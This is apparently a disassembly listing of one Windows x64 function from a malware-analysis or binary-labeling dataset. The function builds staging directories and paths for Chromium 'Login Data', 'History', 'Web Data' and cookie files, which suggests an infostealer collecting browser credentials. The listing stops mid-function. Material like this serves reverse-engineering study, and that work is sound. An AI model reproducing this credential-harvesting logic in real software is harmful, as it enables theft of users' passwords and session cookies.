Function at 0x140014e00
Capabilities:
Create directory

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x458]
sub rsp, 0x558
mov rax, qword [0x1402d4c40]
xor rax, rsp
mov qword [rbp + 0x440], rax
mov qword [rbp + 0x68], r9
mov rax, r8
mov qword [rbp - 0x10], rax
mov r8, rdx
mov qword [rbp + 0xa8], rdx
mov rdx, rcx
mov qword [rbp + 0xa0], rcx
mov qword [rbp + 0x118], rcx
mov qword [rbp + 0x120], r8
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x130], r9
mov rdi, qword [rbp + 0x4c0]
mov qword [rbp], rdi
mov qword [rbp + 0x110], rdi
mov rax, qword [rbp + 0x4c8]
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0x138], rax
mov rcx, qword [rbp + 0x4d0]
mov qword [rbp - 8], rcx
mov rax, qword [rbp + 0x4d8]
mov qword [rbp + 0x60], rax
mov rsi, qword [rbp + 0x4e0]
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x140], rsi
mov rbx, qword [rbp + 0x4e8]
mov qword [rbp - 0x40], rbx
mov qword [rbp + 0x148], rbx
xor r14d, r14d
mov rcx, qword [rdx]
mov qword [rbp + 0x70], rcx
mov rax, qword [rdx + 8]
mov qword [rbp + 0xb8], rax
cmp rcx, rax
je 0x140016b4d
movzx r15d, byte [rsp + 0x40]
movzx r12d, byte [rsp + 0x40]
movzx r13d, byte [rsp + 0x40]
movzx r14d, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
nop
mov rdx, rcx
lea rcx, [rbp + 0x150]
call fcn.14002c8e0
nop
mov rax, qword [rbp - 0x40]
cmp qword [rax + 0x18], 0xf
jbe 0x140014f37
mov r8, qword [rax]
add r8, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140014f3e
mov r8, qword [rax + 0x10]
add r8, rax
mov rdx, rax
lea rcx, [rbp + 0x420]
call fcn.140032db0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor eax, eax
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rax
mov r8d, 7
lea rdx, str._output
lea rcx, [rbp - 0x60]
call fcn.140034570
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x240]
call fcn.14000b4b0
nop
lea rax, [rbp + 0x240]
cmp qword [rbp + 0x258], 7
cmova rax, qword [rbp + 0x240]
mov qword [rsp + 0x50], rax
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140016bf8
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x140014fd5
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140288cbc]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp - 0x30]
call fcn.140036b80
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, recv
lea rdx, str._Login_Data
lea rcx, [rsp + 0x58]
call fcn.14002c660
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x380], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x390], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rsp + 0x58]
call fcn.14002f2b0
nop
lea rcx, [rbp - 0x30]
call fcn.14002f2b0
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140016c46
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x1400150d7
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140288cbc]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, r15b
lea rcx, [rbp - 0x60]
call fcn.140036b80
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x60]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 8
lea rdx, str._History
lea rcx, [rbp - 0x80]
call fcn.14002c660
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x400], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x410], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.14002f2b0
nop
lea rcx, [rbp - 0x60]
call fcn.14002f2b0
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140016c40
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x1400151d1
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140288cbc]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, r12b
lea rcx, [rbp - 0x30]
call fcn.140036b80
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 9
lea rdx, str._Web_Data
lea rcx, [rsp + 0x58]
call fcn.14002c660
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x360], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x370], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rsp + 0x58]
call fcn.14002f2b0
nop
lea rcx, [rbp - 0x30]
call fcn.14002f2b0
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140016c3a
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x1400152d2
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140288cbc]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, r13b
lea rcx, [rbp + 0x40]
call fcn.140036b80
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp + 0x40]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 9
lea rdx, str._Web_Data
lea rcx, [rbp - 0x80]
call fcn.14002c660
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x340], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x350], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x40]
call fcn.14002f2b0
mov rcx, qword [rbp]
mov rdx, qword [rcx + 0x10]
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 1
jb 0x140016c34
mov r9, rcx
cmp qword [rcx + 0x18], 0xf
jbe 0x1400153cc
mov r9, qword [rcx]
mov qword [rsp + 0x30], 1
lea rax, [0x140288cbc]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdx
mov r8, rcx
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.140036b80
nop
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp + 0x20]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str._network_cookies
lea rcx, [rbp - 0x60]
call fcn.14002c660
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x320], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x330], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x20]
call fcn.14002f2b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xor eax, eax
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400154c0
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.140033f50
nop
mov eax, dword [rbp + 0x90]
mov dword [rsp + 0x44], eax
lea rcx, [0x140288cf8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401e3214
mov qword [rbp + 0x78], rax
lea r8, [rbp + 0x80]
cmp qword [rbp + 0x98], 7
cmova r8, qword [rbp + 0x80]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f2a78
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp + 0x78]
lea rcx, [rax + rcx*2]
lea r8, [0x140288cf8]
call fcn.1401f2a78
nop
lea rcx, [rbp + 0x80]
call fcn.14002f1a0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
xor eax, eax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015593
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.140033f50
nop
mov eax, dword [rbp + 0x50]
mov dword [rsp + 0x44], eax
lea rcx, [0x140288d08]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401e3214
mov qword [rbp + 8], rax
lea r8, [rbp + 0x40]
cmp qword [rbp + 0x58], 7
cmova r8, qword [rbp + 0x40]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f2a78
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp + 8]
lea rcx, [rax + rcx*2]
lea r8, [0x140288d08]
call fcn.1401f2a78
nop
lea rcx, [rbp + 0x40]
call fcn.14002f1a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor eax, eax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015654
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140033f50
nop
mov eax, dword [rbp - 0x20]
mov dword [rsp + 0x44], eax
lea rcx, [0x140288d20]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401e3214
mov qword [rbp + 0x10], rax
lea r8, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova r8, qword [rbp - 0x30]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f2a78
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp + 0x10]
lea rcx, [rax + rcx*2]
lea r8, [0x140288d20]
call fcn.1401f2a78
nop
lea rcx, [rbp - 0x30]
call fcn.14002f1a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015715
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140033f50
nop
mov eax, dword [rbp - 0x70]
mov dword [rsp + 0x44], eax
lea rcx, [0x140288d30]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401e3214
mov qword [rbp - 0x38], rax
lea r8, [rbp - 0x80]
cmp qword [rbp - 0x68], 7
cmova r8, qword [rbp - 0x80]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f2a78
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rbp - 0x38]
lea rcx, [rax + rcx*2]
lea r8, [0x140288d30]
call fcn.1401f2a78
nop
lea rcx, [rbp - 0x80]
call fcn.14002f1a0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400157e0
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140033f50
nop
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x44], eax
lea rcx, [0x140288d48]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x48], eax
mov ecx, dword [rsp + 0x44]
inc ecx
add ecx, eax
movsxd rdx, ecx
mov eax, 2
mul rdx
mov r9, 0xffffffffffffffff
cmovb rax, r9
mov rcx, rax
call fcn.1401e3214
mov qword [rsp + 0x78], rax
lea r8, [rsp + 0x58]
cmp qword [rsp + 0x70], 7
cmova r8, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x44]
inc ecx
movsxd rdx, ecx
mov rcx, rax
call fcn.1401f2a78
mov ecx, dword [rsp + 0x48]
inc ecx
movsxd rdx, ecx
movsxd rcx, dword [rsp + 0x44]
mov rax, qword [rsp + 0x78]
lea rcx, [rax + rcx*2]
lea r8, [0x140288d48]
call fcn.1401f2a78
nop
lea rcx, [rsp + 0x58]
call fcn.14002f1a0
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400158a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400158ba
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400158d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400158e6
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400158fc
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015912
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015929
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova r8, qword [rbp + 0x150]
add r8, qword [rbp + 0x160]
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
lea rcx, [rbp + 0x170]
call fcn.140032db0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015990
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140033f50
nop
mov r8d, 1
lea rdx, [0x140288d60]
lea rcx, [rbp - 0x80]
call fcn.14002c220
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 7
cmova rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rbp - 0x60]
call fcn.14002c220
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3f0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rcx, [rbp - 0x60]
call fcn.14002f1a0
nop
lea rcx, [rbp - 0x80]
call fcn.14002f1a0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor eax, eax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rax
mov r8, 0xffffffffffffffff
mov rax, qword [rbp - 8]
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140015a70
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140033f50
nop
mov r8d, 1
lea rdx, [0x140288d60]
lea rcx, [rbp - 0x30]
call fcn.14002c220
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 7
cmova rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rsp + 0x58]
call fcn.14002c220
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x3c0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3d0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 7
mov word [rax], cx
lea rcx, [rsp + 0x58]
call fcn.14002f1a0
nop
lea rcx, [rbp - 0x30]
call fcn.14002f1a0
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x60]
call fcn.140014590
mov qword [rsp + 0x50], rax
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
mov r9, 0xffffffffffffffff
mov r8, rax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [rsp + 0x48], eax
movsxd rdx, eax
xor r8d, r8d
lea rcx, [rbp + 0x220]
call fcn.14002c790
lea rcx, [rbp + 0x220]
cmp qword [rbp + 0x238], 0xf
cmova rcx, qword [rbp + 0x220]
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9, 0xffffffffffffffff
mov r8, qword [rsp + 0x50]
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop
xor edx, edx
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015be8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rax, qword [rbp - 0x40]
mov r8, qword [rax + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, r8
cmp rcx, r10
jb 0x140016c2e
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140015c1b
mov r9, qword [rax]
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140015c28
mov rcx, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.140036b80
nop
mov r8d, 1
lea rdx, [0x140288cbc]
lea rcx, [rbp + 0x20]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rsp + 0x58]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xor ecx, ecx
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 0xa
lea rdx, str._logindata
lea rcx, [rbp - 0x60]
call fcn.14002c660
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x300], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x310], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x60]
call fcn.14002f2b0
nop
lea rcx, [rsp + 0x58]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x20]
call fcn.14002f2b0
lea rdx, [rbp + 0x170]
mov rcx, qword [rbp + 0x60]
call fcn.140014590
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140015d66
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rax, qword [rbp - 0x40]
mov r8, qword [rax + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, r8
cmp rcx, r10
jb 0x140016c28
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140015d99
mov r9, qword [rax]
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140015da6
mov rcx, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x40]
call fcn.140036b80
nop
mov r8d, 1
lea rdx, [0x140288cbc]
lea rcx, [rbp + 0x40]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xor ecx, ecx
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xor ecx, ecx
mov qword [rbp - 0x70], rcx
mov qword [rbp - 0x68], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r8d, 8
lea rdx, str._webdata
lea rcx, [rbp - 0x80]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xor ecx, ecx
mov qword [rbp + 0x1f0], rcx
mov qword [rbp + 0x1f8], rcx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f0], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
lea rcx, [rbp - 0x80]
call fcn.14002f2b0
nop
lea rcx, [rbp - 0x30]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x40]
call fcn.14002f2b0
mov rax, qword [rbp - 0x40]
mov r8, qword [rax + 0x10]
mov rdx, qword [rbp - 0x10]
mov r10, qword [rdx + 0x10]
movabs rcx, 0x7fffffffffffffff
sub rcx, r8
cmp rcx, r10
jb 0x140016c22
mov r9, rax
cmp qword [rax + 0x18], 0xf
jbe 0x140015f03
mov r9, qword [rax]
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x140015f10
mov rcx, qword [rdx]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r8
mov r8, rax
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.140036b80
nop
mov r8d, 1
lea rdx, [0x140288cbc]
lea rcx, [rbp + 0x20]
call fcn.14002c660
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rcx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
